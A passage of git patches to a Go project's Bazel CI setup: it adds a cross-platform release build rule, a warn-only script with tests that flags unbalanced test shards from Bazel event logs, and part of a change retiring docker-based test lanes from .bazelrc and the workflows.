exit status is 1 (see `make bazel-sync-check`). """ @@ -65,11 +76,24 @@ TREES = ( BEGIN = "# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) ---" END = "# --- end go_srcs ---" +RELEASE_BEGIN = "# --- begin release_cross (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) ---" +RELEASE_END = "# --- end release_cross ---" +RELEASE_PKG = "tools/bazel" +# Built in every release configuration besides the Go targets. +RELEASE_EXTRA_TARGETS = (":pure_bd_has_no_cgo_only_deps",) +# Visibilities that let //tools/bazel:release_cross depend on a target. +RELEASE_VISIBLE = ('"//visibility:public"', '"//:__subpackages__"', '"//tools/bazel:__pkg__"') +# A buildifier-formatted go_library/go_binary call and its name. +GO_RULE_RE = re.compile(r'^(go_library|go_binary)\(\n name = "([^"]+)",\n(.*?)^\)', re.DOTALL | re.MULTILINE) +# How a cgo-only target opts out of pure builds (see +# internal/storage/embeddeddolt/cmd/BUILD.bazel and the "cgo-only" tag in +# scripts/bazel_policy_test.go). +CGO_ONLY_TAG = '"cgo-only"' REPO_BEGIN = "# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) ---" REPO_END = "# --- end repo_files ---" BLOCK_RES = tuple( re.compile(r"\n*" + re.escape(begin) + r".*?" + re.escape(end) + r"\n*", re.DOTALL) - for begin, end in ((BEGIN, END), (REPO_BEGIN, REPO_END)) + for begin, end in ((BEGIN, END), (RELEASE_BEGIN, RELEASE_END), (REPO_BEGIN, REPO_END)) ) SKIP_DIRS = {"testdata", "node_modules"} @@ -206,6 +230,43 @@ def repo_files_block(pkg: str, packages: list[str]) -> str: return "\n".join(lines) + "\n" +def go_targets(packages: list[str]) -> list[str]: + """Every go_library and go_binary that a pure build can compile.""" + labels = [] + for pkg in packages: + with open(os.path.join(pkg, "BUILD.bazel")) as f: + src = f.read() + for kind, name, body in GO_RULE_RE.findall(src): + # cgo-only: `go build ./...` skips it with CGO_ENABLED=0. + # testonly: a fixture under testdata/, which `./...` excludes. + # Not visible here: a main package's private embedded library + # or a package-restricted helper; its package is covered by a + # visible target (or the script's package check fails). + if CGO_ONLY_TAG in body or "testonly = True" in body: + continue + vis = re.search(r"^ visibility = \[(.*?)\]", body, re.DOTALL | re.MULTILINE) + if not vis or not any(v in vis.group(1) for v in RELEASE_VISIBLE): + continue + path = "" if pkg == "." else pkg + labels.append(f"//{path}:{name}") + return sorted(labels) + + +def release_cross_block(targets: list[str]) -> str: + lines = [ + RELEASE_BEGIN, + "", + "# manual: needs --//tools/bazel:release_platforms (see above).", + "release_cross_build(", + ' name = "release_cross",', + ' tags = ["manual"],', + " targets = [", + ] + lines += [f' "{t}",' for t in sorted(RELEASE_EXTRA_TARGETS) + targets] + lines += [" ],", ")", "", RELEASE_END] + return "\n".join(lines) + "\n" + + def rewrite(path: str, new_blocks: list[str], check: bool) -> bool: """Bring path's managed blocks up to date; return True if any was stale. @@ -266,6 +327,8 @@ def main(argv: list[str]) -> int: for pkg in packages: path = os.path.join(pkg, "BUILD.bazel") blocks = [block(pkg, wanted[pkg])] if pkg in wanted else [] + if pkg == RELEASE_PKG: + blocks.append(release_cross_block(go_targets(packages))) blocks.append(repo_files_block(pkg, packages)) changed = rewrite(path, blocks, check) if changed: diff --git a/tools/bazel/release_cross.bzl b/tools/bazel/release_cross.bzl new file mode 100644 index 000000000..ad2f0fbe3 --- /dev/null +++ b/tools/bazel/release_cross.bzl @@ -0,0 +1,55 @@ +"""Build Go targets for every release platform in one Bazel invocation. + +scripts/ci/bazel-release-cross-compile.sh passes the platforms of +scripts/ci/release-targets.txt as --//tools/bazel:release_platforms; the +split transition below then configures every target once per platform, with +pure Go (cgo off), so all platforms build in parallel on the remote workers +instead of one `bazel build --platforms=...` after another. +""" + +def _release_platforms_transition_impl(settings, _attr): + platforms = settings["//tools/bazel:release_platforms"] + if not platforms: + fail("--//tools/bazel:release_platforms is empty; scripts/ci/bazel-release-cross-compile.sh sets it from scripts/ci/release-targets.txt") + return { + platform: { + "//command_line_option:platforms": ["@rules_go//go/toolchain:" + platform], + "@rules_go//go/config:pure": True, + } + for platform in platforms + } + +_release_platforms_transition = transition( + implementation = _release_platforms_transition_impl, + inputs = ["//tools/bazel:release_platforms"], + outputs = [ + "//command_line_option:platforms", + "@rules_go//go/config:pure", + ], +) + +def _release_cross_build_impl(ctx): + return [DefaultInfo(files = depset(transitive = [ + dep[DefaultInfo].files + for deps in ctx.split_attr.targets.values() + for dep in deps + ]))] + +release_cross_build = rule( + implementation = _release_cross_build_impl, + doc = "Builds `targets` for every rules_go platform (_) in --//tools/bazel:release_platforms, with cgo off.", + attrs = { + "targets": attr.label_list( + cfg = _release_platforms_transition, + mandatory = True, + ), + }, +) + +def _string_list_flag_impl(_ctx): + return [] + +string_list_flag = rule( + implementation = _string_list_flag_impl, + build_setting = config.string_list(flag = True), +) From 3f1c6038f01a49a28a128b3e561390c3f882167d Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 04:05:33 +0000 Subject: [PATCH 143/325] ci: warn-only shard-balance budget for bazel-server-storage (#7339) rbe-ci-cost-latency-study.md recommendation 4: this tier's last shard has trailed the rest by 4.3-4.5 min in 2 of 8 runs. tools/bazel/shard_budget.py reads the job's BEP file and prints ::warning when a sharded target's slowest shard exceeds max(150s, 2x median); --fail-on-imbalance (not wired in yet) switches that to ::error and a nonzero exit once the budget has run clean for a while. Co-authored-by: Claude Sonnet 5 --- .github/workflows/bazel.yml | 9 ++ scripts/ci_workflow_test.go | 25 ++++- tools/bazel/shard_budget.py | 162 ++++++++++++++++++++++++++++ tools/bazel/shard_budget_test.py | 180 +++++++++++++++++++++++++++++++ 4 files changed, 371 insertions(+), 5 deletions(-) create mode 100644 tools/bazel/shard_budget.py create mode 100644 tools/bazel/shard_budget_test.py diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index f0da60d84..fc758e7f5 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1707,6 +1707,15 @@ jobs: --suite //internal/storage/dolt:dolt_server_full_test .github/scripts/server-storage-test-shard.sh 16 --whole //internal/storage/dolt:dolt_server_conformance_test + # rbe-ci-cost-latency-study.md recommendation 4: this tier's last + # shard has trailed the rest by 4.3-4.5 min in 2 of 8 runs. Warns + # (::warning) when the slowest shard this run is far above the + # median; does not fail the job yet (--fail-on-imbalance switches + # that on once the budget has run clean for a while). + - name: Shard balance + if: ${{ always() && steps.test.outcome != 'skipped' }} + run: python3 tools/bazel/shard_budget.py --bep "$RUNNER_TEMP/bazel-bep.json" + - name: Upload test logs if: ${{ failure() && steps.test.outcome != 'skipped' }} uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index e8ce12ca1..0cbc8d3b5 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -5030,23 +5030,38 @@ func TestBazelDoltServerTiersMirrorPRRisk(t *testing.T) { // require) or of bazel-integration (which a caller may switch off, // while the server tier always runs remotely). workflow := readCIWorkflow(t, bazelWorkflowName) - for _, c := range []struct{ job, config, logs string }{ - {bazelProxiedJobName, "doltserver-proxied", "bazel-proxied-testlogs"}, - {bazelServerJobName, "doltserver-integration", "bazel-server-storage-testlogs"}, + for _, c := range []struct { + job, config, logs string + wantSteps int + }{ + {bazelProxiedJobName, "doltserver-proxied", "bazel-proxied-testlogs", 8}, + // One more than bazel-proxied: a "Shard balance" step (rbe-ci-cost- + // latency-study.md recommendation 4), since this is the tier whose + // last shard has trailed the rest by 4.3-4.5 min in 2 of 8 runs. + {bazelServerJobName, "doltserver-integration", "bazel-server-storage-testlogs", 9}, } { job := workflow.job(t, c.job) if job.TimeoutMinutes == 0 || job.TimeoutMinutes > 30 { t.Errorf("%s timeout-minutes = %d; it runs remotely only (longest shard ~2-8 min), keep it at most 30", c.job, job.TimeoutMinutes) } assertBazelTierStep(t, job, c.job, c.config) - if n := len(job.Steps); n != 8 { - t.Errorf("%s has %d steps, want checkout, setup-bazel, the flaky query, the tier, check_testcases.py, check_shard_coverage.py, log upload, result recorder", c.job, n) + if n := len(job.Steps); n != c.wantSteps { + t.Errorf("%s has %d steps, want %d (checkout, setup-bazel, the flaky query, the tier, check_testcases.py, check_shard_coverage.py, [shard_budget.py,] log upload, result recorder)", c.job, n, c.wantSteps) } logs := job.step(t, "Upload test logs") if logs.If != "${{ failure() && steps.test.outcome != 'skipped' }}" || logs.With["name"] != c.logs || !strings.HasPrefix(logs.Uses, "actions/upload-artifact@") { t.Errorf("%s test-log upload: if=%q name=%q uses=%q", c.job, logs.If, logs.With["name"], logs.Uses) } } + if serverStorage := workflow.job(t, bazelServerJobName); true { + budget := serverStorage.step(t, "Shard balance") + if budget.If != "${{ always() && steps.test.outcome != 'skipped' }}" { + t.Errorf("%s Shard balance step if=%q", bazelServerJobName, budget.If) + } + if want := `python3 tools/bazel/shard_budget.py --bep "$RUNNER_TEMP/bazel-bep.json"`; strings.TrimSpace(budget.Run) != want { + t.Errorf("%s Shard balance step runs %q, want %q", bazelServerJobName, strings.TrimSpace(budget.Run), want) + } + } for name, j := range workflow.Jobs { for _, step := range j.Steps { proxied := strings.Contains(step.Run, "--config=doltserver-proxied") diff --git a/tools/bazel/shard_budget.py b/tools/bazel/shard_budget.py new file mode 100644 index 000000000..22dd10506 --- /dev/null +++ b/tools/bazel/shard_budget.py @@ -0,0 +1,162 @@ +#!/usr/bin/env python3 +"""Warn (or fail) when a sharded test's slowest shard is far above its median. + +Usage: shard_budget.py --bep [--fail-on-imbalance] + +Rationale (rbe-ci-cost-latency-study.md, recommendation 4): an unbalanced +shard split quietly grows the critical path of whichever lane runs it. gascity +#7233/#7241 showed the gain of re-splitting a hot shard; this script keeps +that gain from regressing and catches the tier this repository has today: +//internal/storage/dolt:dolt_server_full_test's last shard has trailed the +rest by 4.3-4.5 min in 2 of 8 runs (study Section 3.4). + +Reads one `bazel test` invocation's --build_event_json_file (the same file +tools/bazel/check_testcases.py and check_shard_coverage.py already read) and, +for every sharded test target (shard_count > 1) that this invocation actually +executed at least two shards of, computes: + + median = the median wall time of the shards that executed (not a cache + hit; a cached shard's duration says nothing about balance) + slowest = the maximum of those + +A shard with no executed result (every attempt was a cache hit) is left out +of both: it ran nowhere this invocation. A target with fewer than two shards +left is skipped (not enough evidence this run). + +Thresholds (study Section 6.4, picked from its shard data): + + warn when slowest > max(150s, 2 x median) + fail when slowest > max(300s, 3 x median) -- only with --fail-on-imbalance + +Day one: this prints `::warning` and always exits 0 (CI must not block on +it yet). Pass --fail-on-imbalance (a workflow step can gate this behind a +repository variable) to exit 1 and print `::error` instead, once the budget +has run clean for a while. +""" + +import argparse +import json +import statistics +import sys + +WARN_FLOOR_S = 150.0 +WARN_FACTOR = 2.0 +FAIL_FLOOR_S = 300.0 +FAIL_FACTOR = 3.0 + + +def read_shard_durations(path): + """Return {label: {shard_index: executed_duration_ms}} from a BEP file. + + Only testResult events are read (as equivalence.py's read_bep does); a + shard's duration is the longest executed (non-cached) attempt reported + for it. shard defaults to 1 (an unsharded test), matching Bazel's BEP, + which omits the field for shard_count == 1. + """ + shards = {} + with open(path, encoding="utf-8") as f: + for line in f: + if not line.strip(): + continue + try: + ev = json.loads(line) + except ValueError: + continue + tr_id = ev.get("id", {}).get("testResult") + tr = ev.get("testResult") + if not tr_id or not tr: + continue + cached = bool(tr.get("cachedLocally")) or bool( + (tr.get("executionInfo") or {}).get("cachedRemotely") + ) + if cached: + continue + label = tr_id["label"] + shard = int(tr_id.get("shard") or 1) + ms = int(tr.get("testAttemptDurationMillis") or 0) + per_label = shards.setdefault(label, {}) + per_label[shard] = max(per_label.get(shard, 0), ms) + return shards + + +class Imbalance: + """One sharded test target's balance verdict.""" + + def __init__(self, label, shards, median_ms, slowest_ms, slowest_shard): + self.label = label + self.shards = shards + self.median_ms = median_ms + self.slowest_ms = slowest_ms + self.slowest_shard = slowest_shard + + @property + def warn_threshold_ms(self): + return max(WARN_FLOOR_S * 1000, WARN_FACTOR * self.median_ms) + + @property + def fail_threshold_ms(self): + return max(FAIL_FLOOR_S * 1000, FAIL_FACTOR * self.median_ms) + + @property + def warn(self): + return self.slowest_ms > self.warn_threshold_ms + + @property + def fail(self): + return self.slowest_ms > self.fail_threshold_ms + + def message(self): + return ( + f"{self.label}: shard {self.slowest_shard} of {self.shards} took " + f"{self.slowest_ms / 1000:.0f}s against a median of {self.median_ms / 1000:.0f}s " + f"(warn over {self.warn_threshold_ms / 1000:.0f}s, fail over {self.fail_threshold_ms / 1000:.0f}s)" + ) + + +def evaluate(shard_durations): + """Return a sorted list of Imbalance for every target with >= 2 executed + shards this invocation, whether or not it crosses the warn threshold.""" + out = [] + for label, per_shard in sorted(shard_durations.items()): + if len(per_shard) < 2: + continue + durations = list(per_shard.values()) + median_ms = statistics.median(durations) + slowest_ms = max(durations) + slowest_shard = max(per_shard, key=per_shard.get) + out.append(Imbalance(label, len(per_shard), median_ms, slowest_ms, slowest_shard)) + out.sort(key=lambda i: i.slowest_ms, reverse=True) + return out + + +def main(argv=None): + ap = argparse.ArgumentParser(description=__doc__.split("\n\n")[0]) + ap.add_argument("--bep", required=True, help="--build_event_json_file of the bazel test run") + ap.add_argument( + "--fail-on-imbalance", + action="store_true", + help="exit 1 (and print ::error) past the fail threshold; default is warn-only", + ) + args = ap.parse_args(argv) + + shard_durations = read_shard_durations(args.bep) + results = evaluate(shard_durations) + + failed = False + for r in results: + if r.fail and args.fail_on_imbalance: + failed = True + print(f"::error title=shard budget::{r.message()}") + elif r.warn: + print(f"::warning title=shard budget::{r.message()}") + else: + print(f"ok: {r.message()}") + + if not results: + print("shard budget: no sharded test target executed two or more shards in this invocation") + + return 1 if failed else 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/tools/bazel/shard_budget_test.py b/tools/bazel/shard_budget_test.py new file mode 100644 index 000000000..0c0718bcf --- /dev/null +++ b/tools/bazel/shard_budget_test.py @@ -0,0 +1,180 @@ +#!/usr/bin/env python3 +"""Unit tests for shard_budget.py. + +Run directly: python3 tools/bazel/shard_budget_test.py +(or: python3 -m unittest tools.bazel.shard_budget_test, from the repo root) +""" + +import json +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +import shard_budget # noqa: E402 + + +def write_bep(events): + f = tempfile.NamedTemporaryFile(mode="w", suffix=".json", delete=False, encoding="utf-8") + for ev in events: + f.write(json.dumps(ev) + "\n") + f.close() + return f.name + + +def test_result_event(label, shard, ms, cached=False, cached_remotely=False): + return { + "id": {"testResult": {"label": label, "shard": shard}}, + "testResult": { + "testAttemptDurationMillis": str(ms), + "cachedLocally": cached, + "executionInfo": {"cachedRemotely": cached_remotely, "strategy": "remote"}, + }, + } + + +class ReadShardDurationsTest(unittest.TestCase): + def test_collects_executed_durations_per_shard(self): + path = write_bep([ + test_result_event("//x:t", 1, 10_000), + test_result_event("//x:t", 2, 20_000), + ]) + try: + got = shard_budget.read_shard_durations(path) + finally: + os.unlink(path) + self.assertEqual(got, {"//x:t": {1: 10_000, 2: 20_000}}) + + def test_excludes_cached_results(self): + path = write_bep([ + test_result_event("//x:t", 1, 10_000), + test_result_event("//x:t", 2, 999_000, cached_remotely=True), + ]) + try: + got = shard_budget.read_shard_durations(path) + finally: + os.unlink(path) + # Shard 2 was a cache hit: it contributes no duration. + self.assertEqual(got, {"//x:t": {1: 10_000}}) + + def test_unsharded_defaults_to_shard_1(self): + path = write_bep([test_result_event("//x:t", None, 5_000)]) + try: + got = shard_budget.read_shard_durations(path) + finally: + os.unlink(path) + self.assertEqual(got, {"//x:t": {1: 5_000}}) + + def test_ignores_non_test_result_lines(self): + path = write_bep([{"id": {"progress": {}}, "progress": {}}]) + try: + got = shard_budget.read_shard_durations(path) + finally: + os.unlink(path) + self.assertEqual(got, {}) + + def test_malformed_line_is_skipped(self): + f = tempfile.NamedTemporaryFile(mode="w", suffix=".json", delete=False, encoding="utf-8") + f.write("not json\n") + f.write(json.dumps(test_result_event("//x:t", 1, 1_000)) + "\n") + f.close() + try: + got = shard_budget.read_shard_durations(f.name) + finally: + os.unlink(f.name) + self.assertEqual(got, {"//x:t": {1: 1_000}}) + + +class EvaluateTest(unittest.TestCase): + def test_balanced_shards_do_not_warn(self): + # gascity #7241-shaped data: every shard within a few seconds of the + # others never crosses max(150s, 2x median). + results = shard_budget.evaluate({"//x:t": {i: 60_000 + i * 1000 for i in range(1, 11)}}) + self.assertEqual(len(results), 1) + r = results[0] + self.assertFalse(r.warn) + self.assertFalse(r.fail) + + def test_single_long_pole_warns(self): + # gascity acceptance shard 4 shape: one shard far above the rest. + shards = {i: 80_000 for i in range(1, 10)} + shards[4] = 725_000 + results = shard_budget.evaluate({"//acceptance:t": shards}) + r = results[0] + self.assertTrue(r.warn) + self.assertEqual(r.slowest_shard, 4) + self.assertAlmostEqual(r.slowest_ms, 725_000) + + def test_fail_threshold_is_stricter_than_warn(self): + # beads server-Dolt storage tier shape: a straggler 4.3-4.5 min + # behind an otherwise ~80s median. Over the warn floor (150s, 2x + # median) but under the fail floor (300s, 3x median) until it grows + # further. + shards = {i: 80_000 for i in range(1, 16)} + shards[16] = 250_000 + r = shard_budget.evaluate({"//storage/dolt:t": shards})[0] + self.assertTrue(r.warn) + self.assertFalse(r.fail) + + shards[16] = 400_000 + r = shard_budget.evaluate({"//storage/dolt:t": shards})[0] + self.assertTrue(r.warn) + self.assertTrue(r.fail) + + def test_floor_applies_below_tiny_medians(self): + # A fast, lopsided split (two 5s shards, one 200s shard) must still + # warn even though 2x the 5s median is nowhere near the slowest + # shard; the 150s floor catches it, not the ratio. + r = shard_budget.evaluate({"//x:t": {1: 5_000, 2: 5_000, 3: 200_000}})[0] + self.assertTrue(r.warn) + + def test_fewer_than_two_shards_is_skipped(self): + self.assertEqual(shard_budget.evaluate({"//x:t": {1: 10_000}}), []) + self.assertEqual(shard_budget.evaluate({"//x:t": {}}), []) + + def test_sorted_slowest_first(self): + results = shard_budget.evaluate({ + "//a:t": {1: 10_000, 2: 20_000}, + "//b:t": {1: 10_000, 2: 500_000}, + }) + self.assertEqual([r.label for r in results], ["//b:t", "//a:t"]) + + +class MainTest(unittest.TestCase): + def test_warn_only_exits_zero(self): + shards = {i: 80_000 for i in range(1, 10)} + shards[4] = 900_000 + events = [test_result_event("//x:t", i, ms) for i, ms in shards.items()] + path = write_bep(events) + try: + rc = shard_budget.main(["--bep", path]) + finally: + os.unlink(path) + self.assertEqual(rc, 0) + + def test_fail_on_imbalance_exits_nonzero_past_fail_threshold(self): + shards = {i: 80_000 for i in range(1, 10)} + shards[4] = 900_000 + events = [test_result_event("//x:t", i, ms) for i, ms in shards.items()] + path = write_bep(events) + try: + rc = shard_budget.main(["--bep", path, "--fail-on-imbalance"]) + finally: + os.unlink(path) + self.assertEqual(rc, 1) + + def test_fail_on_imbalance_still_zero_under_fail_threshold(self): + shards = {i: 80_000 for i in range(1, 10)} + shards[4] = 200_000 + events = [test_result_event("//x:t", i, ms) for i, ms in shards.items()] + path = write_bep(events) + try: + rc = shard_budget.main(["--bep", path, "--fail-on-imbalance"]) + finally: + os.unlink(path) + self.assertEqual(rc, 0) + + +if __name__ == "__main__": + unittest.main() From ce661175ff0f227d655767c56611db6c0d4bc58a Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 04:13:24 +0000 Subject: [PATCH 144/325] ci(bazel): retire the docker A/B variants and pr.yml's container jobs (#7340) The dolt-server lane (--config=doltserver) has been the only pre-merge run of the Dolt-backed domain, uow, tracker, doctor/fix and protocol suites since BAZEL_COVERS_FORKS went "true": bazel-coverage reports pr_lanes=true for every pull_request and merge_group, so pr.yml's test-domain-uow and contract-corpus never run. An A/B run of every requires-docker target against its dolt-server twin on the same commit shows identical test sets and statuses (2683 testcases) except TestDoltServerFingerprint/container, the container half of the fingerprint, which needs docker by design. Delete the six requires-docker sh_tests, test:docker in .bazelrc, the requires-docker tag from the taxonomy and lane filters, bazel.yml's dolt-lane dispatch input and image pull, and pr.yml's test-domain-uow and contract-corpus jobs with their ci-gate wiring. The testcontainers backend in internal/testutil stays: it is plain go test's default. pull-dolt-image.sh stays for pr-risk.yml's legacy tiers. No required check changes: the rulesets require only CI Gate / Required and PR Risk Gate / Required. Refs ga-96smfk.21 Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 70 +++------ .github/workflows/bazel.yml | 56 +++---- .github/workflows/pr.yml | 188 ++-------------------- cmd/bd/doctor/fix/BUILD.bazel | 41 +---- cmd/bd/protocol/BUILD.bazel | 51 +----- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 42 +++-- engdocs/TESTING.md | 8 +- internal/storage/domain/db/BUILD.bazel | 33 +--- internal/storage/uow/BUILD.bazel | 40 +---- internal/testutil/BUILD.bazel | 31 +--- internal/tracker/BUILD.bazel | 27 +--- scripts/bazel_policy_test.go | 49 +++--- scripts/ci_merge_queue_test.go | 10 +- scripts/ci_workflow_test.go | 199 +++++------------------- scripts/pr_lanes_bazel_coverage_test.go | 53 +++---- scripts/pr_risk_bazel_coverage_test.go | 12 +- scripts/pull_dolt_image_test.go | 24 ++- tools/bazel/BUILD.bazel | 2 +- tools/bazel/equivalence.py | 2 +- tools/bazel/race.bzl | 12 +- 20 files changed, 210 insertions(+), 740 deletions(-) diff --git a/.bazelrc b/.bazelrc index 9855a5177..dcd27c345 100644 --- a/.bazelrc +++ b/.bazelrc @@ -49,7 +49,7 @@ test:prcore --test_env=BEADS_TEST_REQUIRE_EXCLUDE_PERMISSION=1 # Every tag that belongs to another lane (scripts/bazel_policy_test.go # bazelPRCoreExcludedTags). integration-only targets run zero tests outside # --config=integration. -test:prcore --test_tag_filters=-requires-docker,-dolt-server,-dolt-server-proxied,-dolt-server-integration,-dolt-server-cmd,-embedded,-manual,-integration-only +test:prcore --test_tag_filters=-dolt-server,-dolt-server-proxied,-dolt-server-integration,-dolt-server-cmd,-embedded,-manual,-integration-only test:ci --config=prcore test:ci --keep_going --test_summary=terse @@ -62,29 +62,6 @@ test:ci --remote_download_regex=.*/test\.xml$ # bazel.yml publishes the non-race bd as pr.yml's ci-build-artifacts. test:ci --remote_download_regex=.*/bin/cmd/bd/bd_for_tests/bd$ -# Docker lane: only the requires-docker targets (pr.yml's container-backed -# jobs "Test (storage domain + uow)" and "Contract corpus"), on a host with a -# docker daemon. Race like the domain+uow job (//cmd/bd/protocol's variant -# opts out, like the non-race Contract corpus job), but no -short and no -# BEADS_TEST_SKIP=dolt, which would keep the containers from starting. Those -# targets are also tagged no-remote-exec, so they run on the host even with -# --config=remote-exec; their builds may still run remotely. -test.v in -# test.xml, as in test:ci, lets equivalence.py see which tests ran. -test:docker --@rules_go//go/config:race -test:docker --test_tag_filters=requires-docker -test:docker --build_tests_only -test:docker --keep_going -test:docker --test_env=GO_TEST_WRAP_TESTV=1 -# Those jobs pass no -p/-parallel, so go test uses GOMAXPROCS, ubuntu-latest's -# 4 vCPUs, for both. Match that on any host: 4 test processes (hence at most -# 4 dolt containers starting at once) and -test.parallel=4. -test:docker --local_test_jobs=4 -test:docker --test_arg=-test.parallel=4 -# The variants depend on host state no action key sees (the docker daemon, -# the pulled dolt image, the network), so a cached result proves nothing about -# this host: always run them, like the jobs' `go test -count=1`. -test:docker --nocache_test_results - # Embedded-Dolt tier: PR Risk's embedded jobs ("Test (Embedded Dolt Cmd # N/20)", "Test (Embedded Dolt Storage N/5)", "Test (Embedded Dolt # Conformance - core/audit)"), as the `embedded`-tagged variants of bd_test @@ -121,26 +98,26 @@ test:embedded --remote_download_regex=.*/test\.xml$ # visible "Re-run failed jobs" retries it. test:embedded --experimental_remote_cache_eviction_retries=0 -# Dolt-server lane: the same jobs as the docker lane ("Test (storage domain + -# uow)" and "Contract corpus"), but every dolt sql-server is a child of the -# test process, started from the pinned dolt in the test wrapper's runfiles -# (BEADS_TEST_DOLT_SERVER=local, set by each dolt-server target), so the -# targets run on remote workers and need no docker. Same selection rules as -# test:docker: race (//cmd/bd/protocol's variant opts out, like its job), no -# -short, no BEADS_TEST_SKIP=dolt, -test.parallel=4, and the no--short twins -# of the job's other packages. Results are cacheable: every input (test -# binary, dolt, env) is in the action key, and a server that cannot start -# fails the target (BEADS_TEST_REQUIRE_DOLT_CONTAINER=1) instead of skipping. -# --config=docker stays as the A/B control. test.xml is downloaded for -# tools/bazel/equivalence.py --job, test.log for bazel.yml's failure artifact. +# Dolt-server lane: what pr.yml's retired container-backed jobs ("Test +# (storage domain + uow)" and "Contract corpus") ran, but every dolt +# sql-server is a child of the test process, started from the pinned dolt in +# the test wrapper's runfiles (BEADS_TEST_DOLT_SERVER=local, set by each +# dolt-server target), so the targets run on remote workers and need no +# docker. As those jobs: race (//cmd/bd/protocol's variant opts out, like its +# job), no -short, no BEADS_TEST_SKIP=dolt, -test.parallel=4, and the +# no--short twins of the job's other packages. Results are cacheable: every +# input (test binary, dolt, env) is in the action key, and a server that +# cannot start fails the target (BEADS_TEST_REQUIRE_DOLT_CONTAINER=1) instead +# of skipping. test.xml is downloaded for tools/bazel/equivalence.py --job, +# test.log for bazel.yml's failure artifact. test:doltserver --@rules_go//go/config:race test:doltserver --test_tag_filters=dolt-server test:doltserver --build_tests_only test:doltserver --keep_going test:doltserver --test_env=GO_TEST_WRAP_TESTV=1 test:doltserver --test_arg=-test.parallel=4 -# Locally (fork PRs, rbe=off, no executor): at most 4 test processes, as in -# test:docker; remote workers are not limited by it. +# Locally (rbe=off, no executor): at most 4 test processes, the jobs' 4-vCPU +# runner shape; remote workers are not limited by it. test:doltserver --local_test_jobs=4 test:doltserver --remote_download_regex=.*/test\.(log|xml)$ @@ -262,7 +239,7 @@ test:integration --test_env=BEADS_TEST_SKIP=dolt # required exclusions from the PR-core list, so a new lane tag lands here too. # pr-core-only targets (the historical-release suites: shell tests against # the release-shaped bd, which the PR-core lane already runs) stay out too. -test:integration --test_tag_filters=-requires-docker,-dolt-server,-dolt-server-proxied,-dolt-server-integration,-dolt-server-cmd,-embedded,-manual,-pr-core-only +test:integration --test_tag_filters=-dolt-server,-dolt-server-proxied,-dolt-server-integration,-dolt-server-cmd,-embedded,-manual,-pr-core-only test:integration --build_tests_only test:integration --keep_going test:integration --test_summary=terse @@ -320,14 +297,13 @@ build:js-wasm --remote_download_outputs=toplevel # retry would report green. test:sole-run --experimental_remote_cache_eviction_retries=0 -# Test result caching. Every lane but docker caches its test results (read -# and write; Bazel's default): a test whose action key (test binary, -# runfiles, test env, platform) is unchanged reuses the PASS the farm -# recorded for it, on a PR (any attempt), a merge group or a push to main, -# so only what a change touched runs. Why that is safe: +# Test result caching. Every lane caches its test results (read and write; +# Bazel's default): a test whose action key (test binary, runfiles, test env, +# platform) is unchanged reuses the PASS the farm recorded for it, on a PR +# (any attempt), a merge group or a push to main, so only what a change +# touched runs. Why that is safe: # - Identical key, identical test: these targets are hermetic (dolt and -# every input are runfiles). The docker lane depends on host state no -# key sees and keeps --nocache_test_results above. +# every input are runfiles). # - A cached failure is never reused: Bazel treats a failed cached action # as a miss, so whatever failed re-runs. # - Only rbe-west's workers write the action cache (clients' writes are @@ -385,7 +361,7 @@ build:remote-exec --remote_download_minimal build:remote-exec --remote_timeout=600 build:remote-exec --remote_retries=3 # Upload only remotely executed results. A locally executed action (a -# no-remote-exec test, a host-dependent docker-lane result) must not seed the +# no-remote-exec test, whose result depends on the host) must not seed the # shared cache that CI and every other developer read. build:remote-exec --noremote_upload_local_results diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index fc758e7f5..df5f61c5e 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1,6 +1,6 @@ # Bazel side-by-side lane, gated alongside the legacy go test jobs. Runs # `bazel test //... --config=ci`, the PR Core-parity selection (race, -short, -# dolt skip, -requires-docker), plus one job per mirrored CI job (pure-Go and +# dolt skip), plus one job per mirrored CI job (pure-Go and # js/wasm, the dolt-server lane, pr-risk.yml's embedded-Dolt, proxied-server # and server-Dolt storage tiers, main.yml's integration jobs). # @@ -13,9 +13,9 @@ # bazel-coverage job stands down pr-risk.yml's embedded-Dolt test jobs (bazel-embedded runs # the tier), its proxied-server and server-Dolt storage test jobs # (bazel-proxied, bazel-server-storage), or pr.yml's PR Core, -# build-artifacts, pure-Go/js-wasm, domain+uow and contract corpus jobs -# (bazel-test, bazel-pure, bazel-doltserver; their `bazel test`s then add -# --config=sole-run); pr.yml's ci-gate then requires those lanes to have run +# build-artifacts and pure-Go/js-wasm jobs (bazel-test, bazel-pure; their +# `bazel test`s then add --config=sole-run, as bazel-doltserver's does: it +# is the only run of the retired domain+uow and contract corpus jobs' tests); pr.yml's ci-gate then requires those lanes to have run # remotely and passed, so modes skip, local and cache are red there # (scripts/pr_risk_bazel_coverage_test.go, pr_lanes_bazel_coverage_test.go). # Test results are cached (read and written) on every run but nightly's: a @@ -200,12 +200,6 @@ on: required: false type: boolean default: false - dolt-lane: - description: "Dolt-backed lane: doltserver (hermetic, remote) or docker (testcontainers A/B control)" - required: false - type: choice - default: "doltserver" - options: [ "doltserver", "docker" ] fresh-test-results: description: "Re-execute every test (--config=fresh: no cached test results), as nightly does" required: false @@ -798,8 +792,8 @@ jobs: # pr.yml's build-artifacts job, built by Bazel: the same artifact name # and layout (bd-linux-gms-pure, SHA256SUMS, build-manifest.txt). Where - # build-artifacts stands down (D2 step 3), its other consumers (PR - # Core, domain+uow) stand down there too. F3: the package gates build + # build-artifacts stands down (D2 step 3), its other consumer (PR + # Core) stands down there too. F3: 